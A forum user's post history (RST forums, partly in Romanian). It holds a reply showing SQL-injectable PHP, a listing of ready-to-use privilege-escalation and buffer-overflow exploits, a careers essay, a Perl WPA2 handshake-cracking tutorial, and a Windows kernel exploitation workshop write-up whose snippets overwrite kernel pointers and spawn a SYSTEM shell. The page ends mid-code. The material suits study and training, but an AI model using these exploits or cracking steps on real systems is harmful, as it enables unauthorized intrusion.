-
Posts
18715 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Incomplet. $id = $_GET[‘id’]; $id = mysql_real_escape_string($id); $query = "SELECT camp1,camp2 FROM tabel WHERE id=". $id; Vulnerabil cat casa. PS: Exista prepared statements aka metoda eficienta de protejare.
-
"cam tot ce se face la liceu, pana in clasa a12a" - La liceu se face algoritmica, nu C++. C++ e ala cu clase, mostenire... Ai facut asa ceva? "- Cum a fost primul interviu al vostru ( aici, nu ma refer strict la C++ ) ?" - A fost interesant. Urmatoarele 10 l-au facut sa para plictisitor. "- Cum trebuie sa te pregatesti pentru interviu?" - E mai important sa stii ce face firma respectiva, ce fel de proiecte si cateva detalii despre ea, decat sa inveti niste intrebari tehnice pe de rost. Daca face soft de network, o sa fie intrebari de network. (aka sockets) "- Ce intrebari ti se pun (ma refer la complexitatea intrebarilor)?" - De limbaj si de algoritmica. Unele mai simple, altele mai complicate. Vezi ca mai sunt ceva posturi care detaliaza acest aspect. "- Ca progamator, ce importanta mai are facultatea in ziua de azi" - Are importanta. In facultate esti cel putin fortat sa inveti anumite lucruri pe care nu le inveti de capul tau. Iar sansele sa te cheme la interviu sunt mult mai mici daca nu ai facultate. Da, nu ar trebui sa fie un criteriu de baza in procesul de selectie, dar se tine cont. Poti face o facultate la ID si scapi. Vezi si: - https://rstforums.com/forum/97721-pareri-interviu-bitdefender.rst?highlight=interviu - https://rstforums.com/forum/98082-pareri-interviu-web-developer-programator-php.rst?highlight=interviu - https://rstforums.com/forum/79626-interviu-de-angajare.rst?highlight=interviu
-
Am cunoscut/cunosc persoane din echipa de pentesteri de la EA si sunt foarte ok. Evitati comentariile inutile.
-
"Excellent verbal, written, and interpersonal skills and professionalism in dealing with all levels of management and staff" Nu e pentru tine
-
Advanced Heap Overflow Exploitation
Nytro replied to NO-MERCY's topic in Reverse engineering & exploit development
Awesome. Too bad it is not for Windows (8-10) Heap Manager. https://media.blackhat.com/bh-us-12/Briefings/Valasek/BH_US_12_Valasek_Windows_8_Heap_Internals_Slides.pdf -
Noi futem pe voi, noi futem pe steag vostru, noi futem pe Ponta. Muie.
-
[h=1]exploits[/h] Exploits that are mostly ready to use. They either require no modification or have been modified and verified as functional. To check md5sum in linux, type md5sum -c md5sum.txt [h=3][/h][h=3]Linux[/h] [TABLE] [TR] [TH=align: left]Where[/TH] [TH=align: left]Type[/TH] [TH=align: left]Platform[/TH] [TH=align: left]Sploit[/TH] [TH=align: left]Dir[/TH] [TH=align: left]Lang[/TH] [/TR] [TR] [TD=align: left]Both[/TD] [TD=align: left]Exploit Finder[/TD] [TD=align: left]Linux[/TD] [TD=align: left]n/a[/TD] [TD=align: left]/lin/suggest_exploit.pl[/TD] [TD=align: left]Perl[/TD] [/TR] [TR] [TD=align: left]Both[/TD] [TD=align: left]Priv Esc[/TD] [TD=align: left]Linux[/TD] [TD=align: left]Exim 4.69[/TD] [TD=align: left]/lin/pe-exim4[/TD] [TD=align: left]Perl[/TD] [/TR] [TR] [TD=align: left]Local[/TD] [TD=align: left]Priv Esc[/TD] [TD=align: left]Linux[/TD] [TD=align: left]Kernel <= 2.6.36-rc8[/TD] [TD=align: left]/lin/pe-kernel-rds[/TD] [TD=align: left]C[/TD] [/TR] [TR] [TD=align: left]Local[/TD] [TD=align: left]Priv Esc[/TD] [TD=align: left]Linux[/TD] [TD=align: left]Kernel <= 3.2.2[/TD] [TD=align: left]/lin/pe-memodipper[/TD] [TD=align: left]C[/TD] [/TR] [/TABLE] [h=3][/h][h=3]Windows[/h] [TABLE] [TR] [TH=align: left]Where[/TH] [TH=align: left]Type[/TH] [TH=align: left]Platform[/TH] [TH=align: left]Sploit[/TH] [TH=align: left]Dir[/TH] [TH=align: left]Lang[/TH] [/TR] [TR] [TD=align: left]Remote[/TD] [TD=align: left]Buffer Overflow[/TD] [TD=align: left]Windows XP SP2[/TD] [TD=align: left]War-FTP 1.65[/TD] [TD=align: left]/win/bof-warftp[/TD] [TD=align: left]Python[/TD] [/TR] [TR] [TD=align: left]Remote[/TD] [TD=align: left]Buffer Overflow[/TD] [TD=align: left]Windows XP SP1[/TD] [TD=align: left]CesarFTP 0.99g[/TD] [TD=align: left]/win/bof-cesarftp[/TD] [TD=align: left]Python[/TD] [/TR] [TR] [TD=align: left]Remote[/TD] [TD=align: left]Buffer Overflow[/TD] [TD=align: left]Windows 7 SP1 - 6.1.7601[/TD] [TD=align: left]SL Mail[/TD] [TD=align: left]/win/slmail[/TD] [TD=align: left]Python[/TD] [/TR] [TR] [TD=align: left]Local[/TD] [TD=align: left]Priv Esc[/TD] [TD=align: left]Windows (all up to 7 SP1?)[/TD] [TD=align: left]KiTrap0D[/TD] [TD=align: left]/win/pe-kitrap[/TD] [TD=align: left]v C++[/TD] [/TR] [TR] [TD=align: left]Local[/TD] [TD=align: left]Priv Esc[/TD] [TD=align: left]Windows (2k XP 03 - all)[/TD] [TD=align: left]keybd_event[/TD] [TD=align: left]/win/pe-keybd-event[/TD] [TD=align: left]C[/TD] [/TR] [TR] [TD=align: left]Local[/TD] [TD=align: left]Priv Esc[/TD] [TD=align: left]Windows (XP SP3 & 03 SP2/3)[/TD] [TD=align: left]AFD.sys[/TD] [TD=align: left]/win/pe-afd[/TD] [TD=align: left]Python .exe[/TD] [/TR] [/TABLE] [h=3]To-do[/h] [TABLE] [TR] [TH=align: left]Where[/TH] [TH=align: left]Type[/TH] [TH=align: left]Platform[/TH] [TH=align: left]Sploit[/TH] [TH=align: left]Dir[/TH] [TH=align: left]Lang[/TH] [/TR] [TR] [TD=align: left]x[/TD] [TD=align: left]x[/TD] [TD=align: left]x[/TD] [TD=align: left]x[/TD] [TD=align: left]x[/TD] [TD=align: left]x[/TD] [/TR] [/TABLE] Sursa: https://github.com/tresacton/exploits
-
10 Tips for Aspiring Security Professionals Nobody enters a new profession as an expert. The information security industry is so lucrative right now that schools are now implementing Information Security programs. As some of you may know, I am currently 22 years old and about to graduate college with a degree in Information Security. I will be the very first to say that after 4 years in a program tailored to security, I have learned nothing that will ever directly apply to a job in Information Security. You may ask “How is that possible?”. The answer is simple. These degrees don’t teach you skills that you will use in the field, they teach you how to think critically, problem solve and most importantly, they teach you how to learn. I am going through the same process that thousands of students (and others) are going through. Information Security is scary, overwhelming and fast paced. As someone entering the industry (especially if you are young), you have A LOT of catch up to do. Not only do you have to learn and understand current attacker methodology and techniques, you have to learn past methodologies and techniques as well. Combine this with the need to learn scripting, programming, networking, protocols, etc. and you will find yourself stressed out and overwhelmed. I have encountered this first hand and am even going through it as I write this and because of that, I want to give a few tips to those either entering the industry or thinking about entering the industry. 1. Passion is essential “If you love what you do, you’ll never have to work a day in your life” This says it all. Learning concepts isn’t hard when you want to learn it. Same goes for applying those concepts. If you have passion toward information security, you are miles ahead of the majority of other folks in the industry. There are a lot of people that do this job because of the money. I can honestly say that I would remain in the information security/offensive security industry if it paid minimum wage. The job is easy if you love it. 2. Never Stop Learning Concepts, technology and methodology will always be changing. Not only do you have to learn the past, but you have to learn the present and the future. Be a sponge and absorb every little bit of information that you can. 3. Learn the basics First, learn the basics of computers, networking and programming. If you have a genuine passion for computers, this will be easy. I recommend getting a job doing helpdesk or general systems administration. For example: I started working the helpdesk at a small company my sophomore year in college. All I did was fix monitors, printers and basic networking issues. After two years, I got a new job working the helpdesk and doing sysadmin work for a larger company. This gave me the opportunity to branch out and learn how a corporate network is setup and functions. I was able to learn the ins and outs of a domain and how it operates. With the basic understanding of how things work, you can then branch out into how to break them. Without this basic understanding, it will be hard to operate with an offensive (or defensive) mindset. 4. Dive in From my experience, the only way to learn is to just jump in the deep end. Get in the weeds of things going on, even if you don’t understand it. The security industry is excellent at mentoring, so find few people and stick by them. Most of the security professionals understand that by investing in you, they will help bring up an additional professional in an industry that is in desperate need of passionate professionals. 5. Contribute As I stated above, get in the weeds of things, even if you don’t understand it. There are TONS of open source projects and tools out there. Find some that interest you and try to contribute. Or, even better, start your own research. Contribute to the community by completing and sharing some of your own work. For example: When I first started, I had a massive interest in client side attacks. I started researching different client side attacks and in 2013, I found an old article from 2003 about malicious Microsoft Office macros. I decided to dive into that and started to do work geared towards using VBA macros in client side attacks. 6. Start a blog This is something I cannot stress enough. By starting a blog, you are creating a portfolio of all your work. This is something other students and professionals can reference. Employers also like it as it details all of your work. This goes with tip 5. As you do your own research/work, write about it. Not only will you be contributing to the community but you will also be building up a portfolio. 7. Keep your head up As I previously mentioned, the security industry is awesome about mentoring. I should also note that there are also people that find joy in tearing you and your work down. As you learn and grow, realize that you are not an expert in everything and you are human. Humans make mistakes, so you will too. When that happens, chalk it up as a learning experience. Don’t get discouraged or angry. The industry revolves around learning, no matter how brilliant you are. For example: I did some research with Alternate Data Streams and using them with PowerShell and VBScript to obtain persistence on a compromised host. I did as much research as I could, wrote some code, published it and wrote a blog post. I was just entering into technology when Windows XP was phasing out so I had no experience with Alternate Data Streams. All I had was what I read and the code I wrote. When I published my blog post, I made the mistake of claiming this method of persistence as “Fileless”. As soon as I shared my post, I got torn apart by forensic and Incident Response professionals. They bashed me since Alternate Data Streams are not fileless, as I claimed them to be in my post. To be honest, I felt dumb and was tempted to just delete the post all together. This will happen to anyone that contributes, I promise. Instead of getting discouraged, I remained professional, fixed my blog post and thanked those who jumped at the opportunity to smack me in the face. I’m glad they did because now, I know that Alternate Data Streams are not fileless. I took that as an opportunity to learn from those who are smarter than me. Again, just keep learning. 8. Remember where you came from As you grow as a student and professional, you will likely become an expert in the field at some point. When this happens, don’t turn into a gigantic asshole. As I previously mentioned, the security industry is awesome about mentoring but there are also people who will sit and wait for the opportunity to bring you down. A lot of people see those new to the industry as “n00bs”, “dumb” and “inexperienced” and in turn, won’t give them the time of day. When someone comes to you with a question, no matter how dumb, answer them. They are asking you for a reason and being an asshole about it helps nobody. You were in that spot once so when someone approaches you (or “sticks with you”, as mentioned in tip 4), take them in and give them guidance. I have started to see that the security industry is kind of like High School. There are different groups with different attitudes. Someone just entering the industry feels exactly like the first day of high school. They just want a friend. If you invest in someone, you will help grow them into a professional. This cycle repeats, so they will then hopefully do the same thing for the next rookie, etc. 9. Get yourself out there Go to conferences and hang out with people. This is even more important when you are trying to get into the industry. By going to conferences, you can talk to people that you may see as an idol. Almost everyone will sit down with you and talk, because they understand the concept of not being an asshole. Those are the people you need to stick by. Example: I started my journey into information security in 2013. I knew nothing and I knew nobody. I had a small presence on Twitter where I just followed some security guys, but that was it. I couldn’t afford to go to a conference, so I didn’t. I made a comment on Twitter one day about wanting to go to DerbyCon sometime and was met with open arms. Tickets were sold out, but someone offered to sell me their ticket. I was thrilled, but couldn’t afford to buy the ticket or hotel, so I politely declined. A few minutes later, that same person decided to just give me their ticket. They didn’t know me or what I was about, but they gave me their ticket anyway. I told my parents that I was going to this conference and that I would be sleeping in my car. Luckily, they decided to pay for the hotel. I ended up going to DerbyCon in 2013 and had the time of my life. I met some awesome people, made some amazing friends and saw some awesome talks. Going to the conference, I knew nobody. After the conference, I felt like a part of the family. 10. Stay humble There is not a single person that is an expert in everything. There will always be someone smarter than you in certain areas. Put your ego aside and accept that you are not the smartest expert in the field. The moment that your ego gets in the way is the moment that you stop learning and fall behind. Share your knowledge and expertise with others and take in the knowledge and expertise of others. Sharing is caring. All I can say is stay true to yourself, contribute, get your name out there and never stop learning. When given the opportunity, share your experiences and knowledge with those who want to learn. Ask questions, learn and get in the weeds. The last thing the industry needs is a “professional” who runs Nessus and puts their logo on the report. And most importantly, keep a good attitude and have fun! –@enigma0x3 Sursa: https://enigma0x3.wordpress.com/2015/04/15/10-tips-for-aspiring-security-professionals/
-
Cracking WPA2 With Perl Posted on May 7, 2015 by trevelyn Introduction Before we begin, let’s take a look at how the process of WPA2 encryption works. I feel this is a very necessary step for this advanced subject. How could we possibly begin to write an application to crack wpa2 if we have no idea how the protocol/authentication methods work? Also, I would like to note that I do realize that this is incredibly absurd to use the system administration tool Perl to do this, since it is quite slow in comparison to C programming for these heavy lifting tasks (we will see why later) (which I start you off with HERE), but it is still a good exercise to get familiar with the actual WPA2 cracking process for those already familiar with Perl. Requirements A packet capture file containing a WPA2 4-way handshake, and a single beacon frame from the AP – This is for simply viewing the values using a binary to hex tool for network packets, such as Wireshark while coding your own tool with this article. I will be using Wireshark for a few examples and I also have prepared my own 4-way+1 beacon packet capture file that you can download here. To use the code that I write, you will need a few Perl modules: Net::Pcap – For packet dis-assembly. Crypt::PBKDF2 – PMK hashing. Digest::SHA IO::File – Reading files faster than Perl’s open() function. Terms Used Symmetric Key Algorithm or SKA – Cryptography method which uses identical keys to encrypt plain text data and decrypt cipher, or encrypted text. Pre-Shared Key – The key, or WPA2 password, used for the SKA process. EAP, or Extensible authentication Protocol – the actual protocol for transporting WPA2 encrypted data (not to be confused with other protocols, such as 802.11) Pairwise Master Key (PMK) – a string derived using the EAP framework which is used in the process of creating the PTK Pairwise Transient Key, or PTK – Message Integrity Code, or MIC – a checksum that is used to authenticate an encrypted message. It is often used as “MAC” for “Message Authentication Code” but since we already use MAC in computer communications to mean the hardware address of a radio, we use MIC. MAC Address – 6 byte, unique, network hardware address, e.g. “01:23:45:67:89:01?. BSSID or Basic Service Set Identifier, MAC address of the AP radio. ESSID or Extended Service Set Identifier, Network name, e.g. “Free WiFi”, or “linksys”. Nonce – random number used for initiating an encrypted communication. “Station” – refers to a wireless client on the BSS. “AP” Access Point – refers to the actual wireless access point or router. Radio – used synonymously with WiFi adapter or Network Interface Card, or NIC for short. RFMON or Radio Frequency Monitor Mode – Passive listening to 802.11 traffic with a special driver for the radio. Handshake – an authentication process used by parties wishing to communicate using encryption to protect the transmitted data. Trolling for APs If you analyze a packet capture file of 802.11 packets, you may see your client sending out “probe request” packets. These request packets are to stimulate nearby APs into sending out information such as the router/AP capabilities and name. The router’s response will be a packet known as a “probe response.” This is generally how all devices including our phones and tablets search for nearby WiFi access points. This type of “scanning,” or “trolling” in the case of noisy-wardriving phones and tablets, for APs is known as “active scanning.” it does not require a client radio to be in “monitor mode” or RFMON mode. Open System Authentication When a client station wants to connect to an access point, e.g. when we select it in our supplicant software or tap on the network name on our phone screens to connect, it first goes through the process of authentication which is often open system authentication, or OSA. OSA is a four-way handshake style process that must be completed before we go further. This process has often been compared to simply plugging a device into a wired network, e.g. the actual action of pushing the Ethernet cable into the laptop and the network port or switch. 1. Station –> Authentication Request –> AP. 2. AP –> Authentication Response –> Station. Each one of these is a single unique 802.11 packet. This is where MAC address filtering is used. If the AP is set up to only allow certain MAC addresses of clients, which is a poor method of securing the network and should not be used alone, and the MAC address of the system or station which initiated the process is not in the AP’s “white-list” the station is then rejected from the authentication process. System Association To finally “associate” the station system with the network/AP the station initiates an association by sending the AP an “association request.” The AP then updates a few tables, allocates resources (similar to starting up a program in a computer, the AP actually makes memory space for things for the station), and synchronizes with the station finishing the association process. This is, of course, if the AP accepts the station as a client. Below are the steps involved. 1. Station –> Association Request –> AP. 2. AP –> Association Response –> Station. Pairwise Master Key (PMK) The station already knows the PMK, or Pairwise Master Key value. This is pre-calculated by the station supplicant software using the following algorithm, PBKDF2(SHA1,4096,SALT_LEN,OUTPUT_LEN) where the SHA1 means that we are using the SHA1 cryptographic hash function. The number 4096 means that we are running the PBKDF2() function 4096 times for “key stretching” which makes the process of offline-brute-force cracking of the WPA2 passphrase that much harder. The SALT_LEN refers to the salt length of the encryption function, which is the length of the network name, since the network name, or ESSID, is used as the salt. The OUTPUT_LEN refers to the how long we want the output string to be in bytes. Here is an example PMK directly from the pages of my book, 9051BA43660CAEC7A909FBBE6B91E4685F1457B5A2E23660D728AFBD2C7ABFBA Now that the station and the AP know the PMK, we can move on to the next step, the 4-way handshake. WPA2 4 Way Handshake You may have heard of this “4-way handshake” process before, if you have ever used the Aircrack-NG suite of 802.11 penetration testing tools. This process starts with the AP creating a string, called an A-nonce, which stands for “AP Nonce.” The animation below shows how to view the A-nonce in Wireshark using the capture packet file I offer in the beginning of this article. Gathering the AP nonce using Wireshark The station also generates it’s own nonce value, called the S-nonce. The animation below shows how to access the S-nonce using Wireshark, Gathering the station nonce from the 802.11 packets Okay, let’s get our hands dirty. This is going to be complicated so maybe we should use a writing pad and take some notes? The A-nonce is first sent to the Station by the AP. The Station uses the PMK to calculate the Pairwise Transient Key, or PTK. This is done using a Pseudo-Random Function, or PRF. The PRF loops over a simple integer variable, let’s call it $i for the time being (i is commonly used in for() loop examples), starting at $i = 0, and stopping when $i == 3 – so four times total. During each loop, a new string is constructed by concatenating the hexadecimal byte value of the string “Pairwise key expansion \0\0” – which is “5061697277697365206b657920657870616e73696f6e00? and sometimes just referred to as PKE in technical documentation, both of the MAC addresses for the station radio and the AP radio, the A-nonce and the S-nonce, a zero “0”, and finally $i. PKE+MAC0+MAC1+ANONCE+SNONCE+0+$i+PKE+MAC0+MAC1+ANONCE+SNONCE+0+$i+PKE+MAC0+MAC1+ANONCE+SNONCE+0+$i+PKE+MAC0+MAC1+ANONCE+SNONCE+0+$i The “Pairwise key expansion \0\0” string is actually part of the IEEE 802.11i-2004. It literally is a string with two null bytes at the end of it. We encoded it into hex by taking the case-sensitive ASCII values of each letter in decimal and calculating their individual hexadecimal values. For example, 80 is the ASCII (decimal) value for the capital “P” and 97 is the ASCII (decimal) value for “a” which are the first two letters of our string. So we first calculate the hexadecimal value for these two numbers, which in base 16 become, 50 and 61 respectively. Notice the first two bytes of the string, “5061697277697365206b657920657870616e73696f6e00?, are 50 and 61? We do this for the entire string including the two null bytes at the end, which we simply denote using a single 0 for each. To make this even more complex, the order in which all of these values are concatenated, matters! In the string above, we actually have to use the MAC address (station or AP) that is lowest in hexadecimal value first, and same goes for the nonce values. The nonce which is lowest in hexadecimal value first in our string as well. Before the string becomes part of the PTK, is is packed using the pack() Perl function and sent into the HMAC_SHA1() function along with the PMK string that acts as a “key.” The value returned from the HMAC_SHA() function is then concatenated to an empty string, let’s call it $ptkGen. As $i increments to 1, the process starts over and the final result of the new iteration is then appended to the value in $ptkGen (itself). After all 4 iterations are complete, The PTK is then completely calculated as four concatenated strings into $ptkGen by the station. (Well, not really, I am sure the AP doesn’t use Perl. We do for this exercise). Next, the station sends the AP the S-nonce and the Message Integrity Check or MIC value. This MIC value is what we will finally use to crack the PSK. Below is an animation I made to show how to check an MIC in the 4-way handshake by hand using Wireshark. Gathering the MIC integrity check using Wireshark Aircrack-NG and our Perl code only really needs two of the 4 packets in a four-way handshake. This is because the first two packets have both the A-Nonce and S-Nonce values in them AND the MIC. The second two packets also have the same information. We cannot, however, crack the key with just packets 2 and 4, or 1 and 3. The MIC is the “key” to our treasure, so to speak. This means that for each word in our dictionary file, we are going to go through this entire process over-and-over calculating a new PMK and PTK, hash the message body of the (captured) transmitted packet and check the MIC value. If the MIC value that we have calculated matches that in the 802.11 packet, then we have used the correct PSK in the prcess and thus know the secret password to the network. Heavy lifting for Perl! The message body can be obtained from the packet using the following line of Perl, $msg = unpack("H*",substr($pkt,60,121)); This is the 60th to the 121st bytes in the packet using the packet’s very first byte as an offset. We assign the message body to $msg. The message is what we finally hash using the PTK to calculate the MIC. First, need to take out the MIC from the message body. By “take out” we need to actually “zero-out” the MIC, and we do so with the Perl substitution operator with the following 2 lines, my $pad = "0"x32; # 16 null bytes for padding $msg =~ s/$mic/$pad/i; # remove the WPA2 MIC value string This is two lines of code, just so we don’t have a single line with 55 “0” characters in length, not including the comment. We will, once again, be using the HMAC_SHA1() function from the Digest::HMAC_SHA1 Perl module to check the MIC with our PTK. We do so by passing it the (packed up) value of the message body, $msg and the first 32 bytes of the (packed up) PTK, $ptk like so: my $digest = hmac_sha1(pack("H*",$msg),pack("H*",substr(unpack("H*",$ptk),0,32))); Now, we check the sub-string of bytes 1 through 16 of the digest, $digest, with that of the MIC, $mic, like so: if(substr(unpack("H*",$digest),1,16) eq substr($mic,1,16)){ print "PTK: ",unpack("H*",$ptk),"\n"; print "\n\n\tKEY FOUND: [ ",$psk," ] \n\n"; exit; # we are done } And that is all I did to create a simple brute-force tool, like (but not as efficient as the (oh the beautiful language of C <3) GO LEARN C RIGHT NOW! >) Aircrack-NG suite. Below is the exact same code I used in my incredibly-boring book Penetration Testing with Perl. I have added lots of comments, and for those who have read all the way through this text (or simply understand how encrypted communication works), this should not resemble “write-only” code. Conclusion This is a proof of concept. Stimulating and picking apart the 802.11 transactions with Wireshark is recommended and my WEAKERTHAN Linux distribution has all of the necessary tools to do so. By “stimulating,” I simply mean, using Aircrack-NG’s Aireplay-NG to de-autheticate a client causing it to re-authenticate using the 4-way handshake process described above. We do this because if we do, in fact, crack the PSK, or WPA2 passphrase, we can de-crypt the traffic using Wireshark- if and only if (to my knowledge at least) this 4-way handshake is in the packet trace. To make things clear with my readers – I don’t have customers. I don’t make money for writing weblog posts or code. I am not an engineer or college graduate for that matter. I am simply passionate about information security and 802.11, and love sharing what I find or create. PLEASE email me or comment if I have left something out of this, or any article that I write! To my knowledge, there was not a single instance of cracking WPA2 using Perl online anywhere before I wrote my book or created this code. I went through a lot of trial and error, but figured it all out myself (Here is proof) a la reversing the protocol in Wireshark and reading about it from the IEEE. Besides the few Perl modules used for hashing functions, I wrote this from scratch. ~Douglas Sursa: http://weaknetlabs.com/main/?p=2969
-
Windows Kernel Exploitation Humla by Ashfaq Ansari May 7, 2015 · Blog Humla Champion: Ashfaq Ansari Post Author: Neelu Tripathy Workshop: Null Humla Date: 18th April, 2015 Venue: Mumbai, BKC Driver: HackSys Extreme Vulnerable Driver This write-up summarizes a workshop/humla conducted by Ashfaq Ansari on the basics of various kinds of attacks available for exploiting the Windows Kernel as of this date. It describes and demonstrates some of the very common techniques to illustrate the impacts of bypassing Kernel security and how the same could be achieved by exploiting specific flaws in kernel mode components. A knowledge of basic buffer overflow exploits through user mode applications is a plus when understanding kernel exploitation and memory issues. Introduction A plethora of attacks have illustrated that attacker specific code execution is possible through user mode applications/software. Hence, lot of protection mechanisms are being put into place to prevent and detect such attacks in the operating system either through randomization, execution prevention, enhanced memory protection, etc. for user mode applications. However little work has been done on the Kernel end to save the base OS from exploitation. In this article we will discuss the various exploit techniques and methods that abuse Kernel architecture and assumptions. Initial Set Up All the demonstrations were provided on Windows 7 x86 SP1 where a custom built HackSys Extreme Vulnerable Driver [intentionally vulnerable] was exploited to show Kernel level flaws and how they could be exploited to escalate privilege from Low Integrity to High Integrity. The below set up was used: Windows 7 OS for Debugger and Debugee machine Virtual Box HackSys Extreme Vulnerable Driver Windows Kernel Debugger – WinDBG Note: set the create pipe path in debugger as \.\pipe\com1 and enable the same in debugee. Windows Kernel Architecture Before moving to exploitation let’s take a look at the basic architecture of the Kernel and modus operandi for process based space allocation and execution for Windows. The two major components of the Windows OS are User mode and Kernel mode. Any programs executing, will belong to either of these modes. Figure 1: Windows Architecture Source: logs.msdn.com HAL: Hardware Abstraction Layer – Is a layer of software routines for supporting different hardware with same Software; HalDispatchTable holds the addresses of some HAL routines Stack Overflow A stack overflow occurs when there is no proper bound checking done while copying user input to the pre-allocated buffer. A memcpy() operation was used by the vulnerable program which copies data beyond the pre-defined byte buffer for the variable. In the example below, we are using a program that uses the memcpy() function. Figure 2: StackOverflow.c At first we write the buffer with a large enough value so as to overflow it and overwrite the RET (return) address. This shall give us control as to where we want to point for the next instruction. We proceed by using all A’s and successfully crashing the stack. However, to find the exact offset of the RET overwrite. This can be done, by sending a pattern and finding the offset of RET overwrite. For this purpose we use a unique pattern and provide it as the input using our exploit code. In the debugger, we find the exact offset as shown below: Figure 3: EIP holding predictable pattern As evident from above, the EIP has its offset at 72433372 (Read backwards – Little Endian). For our unique pattern of characters used as input, this pattern and hence the EIP offset is at 2080. In our exploit code, we define the shellcode and allocate to ‘ring0_shellcode’ as below and Figure 4: EoP Shellcode Add its address to our buffer as below. Here we keep the payload in user mode and execute it from kernel mode by adding the address of ring0 shellcode to the buffer. [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] # shellcode real memory address ring0_shellcode_address = id(ring0_shellcode) + 20 # pattern offset is 2080 k_buffer = "\x41" * 2080 # add the address of ring0 shellcode to the buffer k_buffer += struct.pack("L", ring0_shellcode_address) [/TD] [/TR] [/TABLE] view raw kernel_bof.py hosted with <3 by GitHub Note: In the first step, we find the address of our shellcode in memory using an interesting feature of Python i.e. ring0_shellcode_address = id(ring0_shellcode) + 20 //id(var) + 20 Following this, we place the address to our shell code at the EIP offset found from the previous step. On execution, this shellcode [for cmd.exe] is called and spawns the shell with system privilege as shown below: Figure 5: Spawn calc.exe with SYSTEM privileges Stack Overflow Stack Guard Bypass A protection mechanism to defeat stack overflows was proposed as a Stack Guard. With the implementation of this method, an executing function has two main components such as – the function_prologue and the function_epilogue methods. Stack Guard is a compiler feature which adds code to function_prologue and function_epilogue to set and validate the stack canary. Function prologue Figure 6: _except_handler4 Figure 7: __security_cookie Function Epilogue Figure 8: Security Cookie Validation In Function Epilogue Referring to the program above, we find that every time we overwrite the stack in the conventional way, we will have to overwrite the Stack Cookie as well. So unless we write the right value in the canary, the check in the epilogue will fail and abort the program. Workaround To exploit this scenario of Stack Overflow protected by Stack Cookie, we will exploit the exception handling mechanism. As the exception handler are on the stack and as an attacker, we have the ability to overwrite things on the stack, we will overwrite the exception handler with the address of our shellcode and will raise the exception while copying the user supplied buffer to kernel allocated buffer to jump to our shellcode. Figure 9: StackOverflow Gaurd Bypass using exploit code Executing INT 3 instruction after bypassing Stack Guard as per the exploit code below: [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] # shellcode start ring0_shellcode = "\x90" * 8 + "\xcc" # shellcode end [/TD] [/TR] [/TABLE] view raw kernel_bof_gs.py hosted with <3 by GitHub Figure 10: Bypassing the stack Guard Figure 11: Executing the shellcode and halted at breakpoint Arbitrary Overwrites This is also called the Write What Where class of vulnerabilities in which an attacker has the ability to write an arbitrary value at arbitrary memory location. If not done accurately, this may crash (User Mode)/may BSOD (Kernel Mode). Typically there may be restrictions to Value – as to what value can be written Size – What size of memory may be overwritten And sometimes one may only be allowed to increment or decrement the memory These kind of bugs are difficult to find as compared to the other known types but can prove to be very useful for an attacker for seamless execution of malicious code. There are various places where the attacker value can be written for effective execution such as HalDispatchTable+4, Interrupt Dispatch Table, System Service Dispatch Table, and so on. Below is a sample WRITE_WHAT_WHERE structure containing the What-Where fields: Figure 12: WRITE_WHAT_WHERE Structure Since the vulnerable function allows us to define the What and Where attributes in the structure, we assign the address of pointer to our own crafted shellcode to ‘What’ and address of HalDispatchTable0x4 to ‘Where’ as shown below: Figure 13: Assigning shellcode address and HAL Dispatch Table address to structure [TABLE=class: lines highlight] [TR] [TD=class: line-numbers][/TD] [TD=class: line-data] out = c_ulong() inp = 0x1337 hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) print("[+] Spawning SYSTEM Shell") program_pid = subprocess.Popen("cmd.exe", creationflags=subprocess.CREATE_NEW_CONSOLE, close_fds=True).pid [/TD] [/TR] [/TABLE] view raw kernel_aow.py hosted with <3 by GitHub We have halted the program in the kernel debugger to examine the HalDispatch Table function address as shown below: Figure 14: Reading Hal Dispatch Table Address Using Debugger Figure 15: Executing the exploit code for Write_What_Where bug After triggering the exploit, we examine the memory in the debugger to find that the kernel has written the address of the shellcode at HalDispatchTable+4 which then gets executed. The below diagram shows program halted at the breakpoints as per the code. Figure 16: EIP control by exploiting Write4 condition Figure 17: EIP currently at breakpoint after overwrite Going further, the shellcode provided in the payload will be executed due to the arbitrary overwrite condition. Use After Free Bug Exploitation When a program uses allocated memory after it has been freed, it can lead to unexpected system behaviour such as exception or can be used to gain arbitrary code execution. The modus operandi generally entails: At some point an object gets created and is associated with a vtable, then later a method gets called by program. If we free the object before it gets used by the program, it may crash when program when it tries call a method. To exploit this scenario, an attacker grooms the memory to make predictable pool layout. Then, allocates all similar sized objects. Next, the attacker tries to free some objects to create holes. Then, allocate and frees the vulnerable object. Finally, attacker fills the holes to take up the allocation where the vulnerable object was allocated. Such vulnerabilities are difficult to find and exploit and certain considerations are necessary such as: The pointer to the shellcode has to be placed in the same memory location as the freed vulnerable object memory location. The hole size created by pool spray has to be of the same size as the one freed. There should be no adjacent memory chunks free to prevent coalescing. Coalescing: When two separate but adjacent chunks in memory are free, the operating system con-joins these smaller chunks to create a bigger chunk of memory to avoid fragmentation. This process is called Coalescing and this would make harder to exploit Use After free bugs since then, memory manager won’t allocate the designated memory and the chances for the attacker to get same memory location is very less. Sample vulnerable C functions depict Use After Free bug in a kernel driver are given below: [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] NTSTATUS HackSysHandleIoctlCreateBuffer(IN PIRP pIrp, IN PIO_STACK_LOCATION pIoStackIrp) { PUSE_AFTER_FREE pUseAfterFree = NULL; SIZE_T inputBufferSize = 0; NTSTATUS status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(pIrp); UNREFERENCED_PARAMETER(pIoStackIrp); PAGED_CODE(); status = CreateBuffer(); return status; } NTSTATUS HackSysHandleIoctlUseBuffer(IN PIRP pIrp, IN PIO_STACK_LOCATION pIoStackIrp) { PVOID pInputBuffer = NULL; SIZE_T inputBufferSize = 0; PUSE_AFTER_FREE pUseAfterFree = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(pIrp); PAGED_CODE(); pInputBuffer = pIoStackIrp->Parameters.DeviceIoControl.Type3InputBuffer; inputBufferSize = sizeof(pUseAfterFree->buffer); if (pInputBuffer) status = UseBuffer(pInputBuffer, inputBufferSize); return status; } NTSTATUS HackSysHandleIoctlFreeBuffer(IN PIRP pIrp, IN PIO_STACK_LOCATION pIoStackIrp) { NTSTATUS status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(pIrp); 